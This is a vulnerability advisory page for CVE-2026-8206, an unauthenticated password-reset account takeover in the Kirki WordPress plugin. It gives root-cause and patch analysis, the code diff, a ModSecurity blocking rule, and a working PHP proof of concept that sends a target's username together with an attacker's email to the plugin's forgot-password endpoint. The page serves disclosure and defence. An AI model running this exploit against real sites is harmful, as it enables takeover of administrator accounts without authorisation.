Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 12, 2026

CVE-2026-8206: Kirki 6.0.0 6.0.6 Unauthenticated Privilege Escalation via ‘handle_forgot_password’ PoC, Patch Analysis & Rule

CVE ID CVE-2026-8206
Plugin kirki
Severity Critical (CVSS 9.8)
CWE 269
Vulnerable Version 6.0.6
Patched Version 6.0.7
Disclosed May 31, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8206:
This critical vulnerability in the Kirki WordPress plugin (versions 6.0.0 to 6.0.6) allows unauthenticated privilege escalation via account takeover during password reset. An attacker can request a password reset for any registered user, redirecting the reset link to their own email address. The vulnerability has a CVSS score of 9.8, indicating critical severity.

Root Cause:
The root cause lies in the CompLibFormHandler.php file, specifically in the password reset handling function at line 267. When the plugin receives a password reset request with a username (instead of an email), it fails to validate that the email parameter matches the actual email of the targeted user. The vulnerable code path occurs when $form_data[‘username’] is provided and strlen($username) is greater than 0. The function retrieves the user object using the username but never compares the provided $email parameter with $user->get(‘user_email’). This allows an attacker to supply, for example, a username of ‘admin’ and an email of ‘attacker@evil.com’. The plugin proceeds to generate a password reset key and sends the reset URL to the attacker-controlled email address.

Exploitation:
An unauthenticated attacker sends a POST request to the plugin’s password reset REST API endpoint. The request must include parameters for ‘username’ (the target user’s login name) and ’email’ (the attacker’s email address). The attack leverages the REST API registered by the plugin, which accepts POST data with form fields. By supplying a valid username and an attacker-controlled email, the plugin’s logic bypasses email verification and sends the password reset link to the attacker. No authentication is required to trigger this endpoint.

Patch Analysis:
The patch in version 6.0.7 adds a critical validation check at line 293 of CompLibFormHandler.php. After retrieving the user by username, the patch compares the provided $email with $user->get(‘user_email’). If they do not match, the request returns a ‘Invalid email address’ error with a 404 status. The patch also adds a guard at line 290 to return an error if $username is empty after processing, preventing other potential bypasses. Additionally, the patch ensures that if both username and email are provided, they must correspond to the same user account.

Impact:
Successful exploitation allows an attacker to gain complete control of any user account on the WordPress site, including administrator accounts. This results in full site takeover, data exposure, and potential for further attacks such as file uploads, backdoor installation, or content modification. The attack requires no prior authentication and can be executed remotely.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kirki/ComponentLibrary/controller/CompLibFormHandler.php
+++ b/kirki/ComponentLibrary/controller/CompLibFormHandler.php
@@ -6,6 +6,7 @@
 	exit; // Exit if accessed directly.
 }

+use KirkiAjaxPage;
 use KirkiHelperFunctions;
 use WP_REST_Server;
 use WP_REST_Controller;
@@ -267,14 +268,16 @@

 		if ( strlen( $username ) === 0 && isset( $form_data['email'] ) && strlen( $email ) > 0 ) {
 			$user = get_user_by( 'email', $email );
-			if ( $user ) {
-				$username = $user->get( 'user_login' );
-			} else {
-				$response = array(
-					'message' => 'User not found',
-				);
-				return new WP_REST_Response( $response, 404 );
+
+			if ( ! $user ) {
+				return new WP_REST_Response( array( 'message' => 'User not found' ), 404 );
 			}
+
+			$username = $user->get( 'user_login' );
+		}
+
+		if ( empty( $username ) ) {
+			return new WP_REST_Response( array( 'message' => 'Invalid request' ), 400 );
 		}

 		if ( isset( $username ) && strlen( $username ) > 0 ) {
@@ -287,6 +290,15 @@
 				return new WP_REST_Response( $response, 404 );
 			}

+			$user_email = $user->get( 'user_email' );
+			if($email !== $user_email) {
+				$response = array(
+					'message' => 'Invalid email address',
+				);
+				return new WP_REST_Response( $response, 404 );
+			}
+			$email = $user_email;
+
 			$key = get_password_reset_key( $user );
 			if ( is_wp_error( $key ) ) {
 				$response = array(
@@ -296,7 +308,7 @@
 			}

 			// Prepare email content.
-			$url = HelperFunctions::get_utility_page_url( 'reset_password' );
+			$url = HelperFunctions::get_utility_page_url( Page::TYPE_FORGOT_PASSWORD );

 			$username  = $user->user_login;
 			$chip_data = array(
@@ -311,12 +323,12 @@
 			$email_body    = '';

 			if ( isset( $form_data['emailBody'] ) ) {
-				$email_body = json_decode( $form_data['emailBody'], true );
-				foreach ( $email_body as $key => $body_data ) {
+				$email_body_array = json_decode( $form_data['emailBody'], true );
+				foreach ( $email_body_array as $key => $body_data ) {
 					if ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'text' ) {
-						$email_body = $email_body . $body_data['value'];
+						$email_body .= $body_data['value'];
 					} elseif ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'chip' ) {
-						$email_body = $email_body . $chip_data[ $body_data['value'] ];
+						$email_body .= $chip_data[ $body_data['value'] ];
 					}
 				}
 			}
--- a/kirki/includes/API.php
+++ b/kirki/includes/API.php
@@ -30,12 +30,8 @@
 	 * @return void
 	 */
 	public function __construct() {
-		 add_action( 'rest_api_init', array( $this, 'register_api' ) );
-
-		if ( isset( $_GET['page-export'], $_GET['file-name'] ) && $_GET['page-export'] === 'true' ) {
-			// TODO: need to check nonce
-			$this->downloadZIP();
-		}
+		add_action( 'rest_api_init', array( $this, 'register_api' ) );
+		add_action( 'init', array( $this, 'download_zip_endpoint' ) );
 	}

 	/**
@@ -57,12 +53,28 @@
 		FrontendApi::register();
 	}

+	public function download_zip_endpoint() {
+		if (
+			! isset( $_GET['page-export'], $_GET['file-name'] ) ||
+			'true' !== $_GET['page-export']
+		) {
+			return;
+		}
+
+		if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+			wp_send_json_error( 'Not authorized', 401 );
+		}
+
+		// TODO: need to check nonce
+		$this->downloadZIP();
+	}
+
 	private function downloadZIP() {
 		$upload_dir = wp_upload_dir();
 		$file_name  = HelperFunctions::sanitize_text( $_GET['file-name'] );
 		$file_name  = basename( $file_name );
 		// Check if the file has a .zip extension
-		if ( ! pathinfo( $file_name, PATHINFO_EXTENSION ) === 'zip' ) {
+		if ( pathinfo( $file_name, PATHINFO_EXTENSION ) !== 'zip' ) {
 			echo 'Invalid file type.';
 			die();
 		}
--- a/kirki/includes/API/Frontend/Controllers/FormController.php
+++ b/kirki/includes/API/Frontend/Controllers/FormController.php
@@ -639,6 +639,11 @@
 			foreach ( $form_data as $name => $value ) {
 				$type = isset( $form_data_types[ $name ]['type'] ) ? $form_data_types[ $name ]['type'] : 'text';

+				// Handle array values by serializing them
+				if (is_array($value)) {
+					$value = serialize($value);
+				}
+
 				array_push(
 					$values,
 					$form_id,
@@ -646,7 +651,7 @@
 					$session_id,
 					$timestamp,
 					"$name",
-					"$value",
+					$value,
 					"$type"
 				);

--- a/kirki/includes/Admin/AdminMenu.php
+++ b/kirki/includes/Admin/AdminMenu.php
@@ -110,7 +110,11 @@
 	 * @return void
 	 */
 	public function admin_menu() {
-		add_menu_page( 'Kirki - Home', 'Kirki', 'edit_posts', 'kirki', array( $this, 'plugin_page' ), 'dashicons-kirki', 25 );
+		/* FREE_START */
+		$menu_title = 'Kirki';
+		/* FREE_END */
+
+		add_menu_page( 'Kirki - Home', $menu_title, 'edit_posts', 'kirki', array( $this, 'plugin_page' ), 'dashicons-kirki', 25 );

 		foreach ( $this->dashboard_toolbar_submenus as $slug => $submenu ) {
 			add_submenu_page(
--- a/kirki/includes/Ajax.php
+++ b/kirki/includes/Ajax.php
@@ -309,7 +309,7 @@
 		//phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 		$endpoint = HelperFunctions::sanitize_text( isset( $_GET['endpoint'] ) ? $_GET['endpoint'] : null );
 		if ( in_array( $endpoint, array( 'collect-collaboration-actions', 'delete-collaboration-connection' ), true ) ) {
-			if ( ! $this->user_can_access_collaboration() ) {
+			if ( ! $this->user_can_access_wp_apis() ) {
 				wp_send_json_error( 'Not authorized' );
 			}
 		} else {
@@ -609,11 +609,11 @@
 	}

 	/**
-	 * Check if the current request can access collaboration endpoints.
+	 * Check if the current request can access wp endpoints.
 	 *
 	 * @return bool
 	 */
-	private function user_can_access_collaboration() {
+	private function user_can_access_wp_apis() {
 		return is_user_logged_in() && HelperFunctions::has_access(
 			array(
 				KIRKI_ACCESS_LEVELS['FULL_ACCESS'],
@@ -704,7 +704,11 @@
 	 */
 	public function kirki_wp_admin_get_apis() {
 		if ( ! is_admin() ) {
-			wp_send_json_error( 'Not authorized' );
+			wp_send_json_error( 'Not authorized', 401 );
+		}
+
+		if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+			wp_send_json_error( 'Not authorized', 401 );
 		}

 		//phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
--- a/kirki/includes/Ajax/Form.php
+++ b/kirki/includes/Ajax/Form.php
@@ -804,11 +804,17 @@
 					$data[ $form_data_item['timestamp'] ]['id'] = $form_data_item['timestamp'];
 				}

+				// Handle array values by unserializing them
+				$input_value = $form_data_item['input_value'];
+				if (is_string($input_value) && @unserialize($input_value) !== false) {
+					$input_value = unserialize($input_value);
+				}
+
 				if ( isset( $data[ $form_data_item['timestamp'] ] ) ) {
-					$data[ $form_data_item['timestamp'] ][ $form_data_item['input_key'] ] = $form_data_item['input_value'];
+					$data[$form_data_item['timestamp']][$form_data_item['input_key']] = $input_value;
 				} else {
 					$data[ $form_data_item['timestamp'] ] = array(
-						$form_data_item['input_key'] => $form_data_item['input_value'],
+						$form_data_item['input_key'] => $input_value,
 					);
 				}

--- a/kirki/includes/Ajax/Page.php
+++ b/kirki/includes/Ajax/Page.php
@@ -18,6 +18,9 @@
  */
 class Page {

+	const TYPE_FORGOT_PASSWORD = 'forgot_password';
+	const TYPE_RESET_PASSWORD = 'reset_password';
+
 	/**
 	 * Save page data
 	 *
--- a/kirki/includes/Frontend/Preview/Preview.php
+++ b/kirki/includes/Frontend/Preview/Preview.php
@@ -893,9 +893,71 @@
 			}

 			foreach ( $props as $prop_name => $prop_value ) {
-				if ( is_array( $prop_value ) && isset( $prop_value['value'], $prop_value['unit'] ) ) {
-					$css_declarations .= $prop_name . ':' . $prop_value['value'] . $prop_value['unit'] . ';';
-				} elseif ( is_string( $prop_value ) || is_numeric( $prop_value ) ) {
+
+				// font-feature-settings
+				if (
+					$prop_name === 'font-feature-settings' &&
+					is_array( $prop_value ) &&
+					isset( $prop_value['value'] ) &&
+					is_array( $prop_value['value'] )
+				) {
+					$css_string = implode(
+						', ',
+						array_map(
+							function( $key ) {
+								return '"' . $key . '"';
+							},
+							array_keys( $prop_value['value'] )
+						)
+					);
+
+					$css_declarations .= $prop_name . ':' . $css_string . ';';
+					continue;
+				}
+
+				// value + unit object
+				if (
+					is_array( $prop_value ) &&
+					isset( $prop_value['value'], $prop_value['unit'] )
+				) {
+
+					// font-size clamp
+					if (
+						$prop_name === 'font-size' &&
+						isset( $prop_value['type'] ) &&
+						str_contains( $prop_value['type'], 'clamp-' )
+					) {
+
+						$min_value = isset($prop_value['min'], $prop_value['min']['value'] ) ? $prop_value['min']['value'] : 0;
+						$min_unit  = isset($prop_value['min'], $prop_value['min']['unit'] ) ? $prop_value['min']['unit'] : 'px';
+
+						$base_value = isset($prop_value['base'], $prop_value['base']['value'] ) ? $prop_value['base']['value'] : 0;
+						$base_unit  = isset($prop_value['base'], $prop_value['base']['unit'] ) ? $prop_value['base']['unit'] : 'px';
+
+						$max_value = isset($prop_value['max'], $prop_value['max']['value'] ) ? $prop_value['max']['value'] : 0;
+						$max_unit  = isset($prop_value['max'], $prop_value['max']['unit'] ) ? $prop_value['max']['unit'] : 'px';
+
+						$css_declarations .= "{$prop_name}:clamp({$min_value}{$min_unit}, {$base_value}{$base_unit}, {$max_value}{$max_unit});";
+
+					// special max-width values
+					} elseif (
+						$prop_name === 'max-width' &&
+						in_array( $prop_value['value'], array(  'none', 'fit-content', 'max-content', 'min-content' ), true )
+					) {
+
+						$css_declarations .= $prop_name . ':' . $prop_value['value'] . ';';
+
+					} else {
+
+						$css_declarations .= $prop_name . ':' . $prop_value['value'] . $prop_value['unit'] . ';';
+					}
+
+				// string or number
+				} elseif (
+					( is_string( $prop_value ) && $prop_value !== '' ) ||
+					is_numeric( $prop_value )
+				) {
+
 					$css_declarations .= $prop_name . ':' . $prop_value . ';';
 				}
 			}
@@ -1174,7 +1236,7 @@
 		if ( isset( $element['properties'] ) ) {
 			$properties = $element['properties'];

-			if ( isset( $properties['interactions'] ) && ( ! isset( $element['stylePanels'] ) || ( isset( $element['stylePanels'], $element['stylePanels']['interaction'] ) && $element['stylePanels']['interaction'] ) ) ) {
+			if ( isset( $properties['interactions'] ) ) {
 				$this->interactions[ $id ] = $this->updateClassListForInteractionFromStyleBlockId( $properties['interactions'], $element );
 			}

@@ -1917,10 +1979,10 @@
 					}

 					if ( $dynamic_content['type'] === 'post' ) {
-						if ( isset( $options['post'] ) && isset( $options['post']->{$dynamic_content['value']} ) ) {
+						if ( isset( $options['post'], $dynamic_content['value'] ) && isset( $options['post']->{$dynamic_content['value']} ) ) {
 							$href = $options['post']->{$dynamic_content['value']};
 						} else {
-							$href = HelperFunctions::get_post_dynamic_content( $dynamic_content['value'], isset( $options['post'] ) ? $options['post'] : null );
+							$href = HelperFunctions::get_post_dynamic_content( isset($dynamic_content['value']) ? $dynamic_content['value'] : false, isset( $options['post'] ) ? $options['post'] : null );
 						}
 					} elseif ( $dynamic_content['type'] === 'term' && isset( $options['term'], $options['term']['term_id'] ) ) {

@@ -2279,15 +2341,6 @@
 		$ele_class_names = isset( $this_element['className'] ) ? explode( ' ', $this_element['className'] ) : array();
 		$class_array     = array_merge( $ele_class_names, $class_array );

-		// Check for disabled styles panels.
-		if ( isset( $this_element['stylePanels'] ) && is_array( $this_element['stylePanels'] ) ) {
-			foreach ( $this_element['stylePanels'] as $name => $value ) {
-				if ( ! $value ) {
-					array_push( $class_array,'kirki-disabled-' . $name );
-				}
-			}
-		}
-
 		if ( in_array( $this_element['name'], $this->inline_elements, true ) ) {
 			array_push( $class_array, 'kirki-inline-element' );
 		}
--- a/kirki/includes/Frontend/Preview/Utils.php
+++ b/kirki/includes/Frontend/Preview/Utils.php
@@ -289,7 +289,7 @@
 			return $html;
 		}
 		// Post excerpt length for frontend. If post excerpt is used.
-		if ( $dynamic_content['value'] === 'post_excerpt' && isset( $dynamic_content['postExcerptLength'] ) ) {
+		if (isset($dynamic_content['value']) && $dynamic_content['value'] === 'post_excerpt' && isset( $dynamic_content['postExcerptLength'] ) ) {
 			$post_excerpt_length                  = $dynamic_content['postExcerptLength'] ?? 55;
 			$GLOBALS['kirki_post_excerpt_length'] = $post_excerpt_length;
 		}
@@ -309,10 +309,15 @@
 			return $content;
 		}

+		// fix warning
+		if(!isset($dynamic_content['value'])){
+			$dynamic_content['value'] = false;
+		}
+
 		if ( $dynamic_content['type'] === 'post' ) {
 			$dynamic_options = array();
 			$cm_field_type   = isset( $dynamic_content['cmFieldType'] ) ? $dynamic_content['cmFieldType'] : '';
-			if ( 'post_date' === $dynamic_content['value'] && isset( $dynamic_content['format'] ) ) {
+			if ( isset( $dynamic_content['format'] ) && 'post_date' === $dynamic_content['value'] ) {
 				$dynamic_options['format'] = $dynamic_content['format'];
 			} elseif ( ( 'post_time' === $dynamic_content['value'] || 'time' === $cm_field_type ) && isset( $dynamic_content['timeFormat'] ) ) {
 				$dynamic_options['timeFormat'] = $dynamic_content['timeFormat'];
--- a/kirki/includes/HelperFunctions.php
+++ b/kirki/includes/HelperFunctions.php
@@ -2969,6 +2969,10 @@
 	 * @param string|string[] $access_level The access level to check access.
 	 */
 	public static function has_access( $access_level ) {
+		if ( ! function_exists( 'wp_get_current_user' ) ) {
+			return false;
+		}
+
 		$user       = wp_get_current_user();
 		$roles      = $user->roles;
 		$has_access = false;
--- a/kirki/kirki.php
+++ b/kirki/kirki.php
@@ -7,7 +7,7 @@
  * Plugin Name: Kirki
  * Plugin URI: https://kirki.com
  * Description: Kirki is an all-in-one no-code builder that empowers users to build professional-grade WordPress sites without writing any code. It’s a promising glimpse into the future of website development.
- * Version: 6.0.6
+ * Version: 6.0.7
  * Author: Kirki
  * Author URI: https://kirki.com
  * Text Domain: kirki
@@ -24,7 +24,7 @@

 // Define KIRKI_VERSION early to prevent bundled Kirki versions from loading.
 if ( ! defined( 'KIRKI_VERSION' ) ) {
-	define( 'KIRKI_VERSION', '6.0.6' );
+	define( 'KIRKI_VERSION', '6.0.7' );
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-8206
# Blocks password reset requests where username is provided with a mismatched email
SecRule REQUEST_URI "@rx ^/wp-json/kirki/vd+/forgot-password$" 
  "id:20268206,phase:2,deny,status:403,chain,msg:'CVE-2026-8206 - Kirki Password Reset Email Mismatch',severity:'CRITICAL',tag:'CVE-2026-8206'"
  SecRule ARGS_POST:username "@rx .+" "chain"
    SecRule ARGS_POST:email "@rx ^[^@]+@[^@]+$" "chain"
      SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8206 - Unauthenticated Privilege Escalation via Password Reset

$target_url = 'http://wordpress.example.com';
$attacker_email = 'attacker@example.com';
$target_username = 'admin';

// Step 1: Discover the REST API endpoint for password reset
$rest_base = $target_url . '/wp-json/kirki/v1/';

// Step 2: Send password reset request with mismatched username and email
// The plugin uses the username to identify the user but sends the reset link to the provided email
$reset_endpoint = $rest_base . 'forgot-password';

$payload = array(
    'username' => $target_username,
    'email' => $attacker_email
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $reset_endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded'
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "n";

// Step 3: Check if the reset link was sent to attacker's email
// If successful, attacker receives a password reset link for the target account
// The attacker can then use that link to set a new password and login

// Step 4: (Manual) Retrieve the reset link from attacker's email inbox
// Step 5: (Manual) Access the reset link and set a new password
// Step 6: (Manual) Login with the new password to take over the account

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School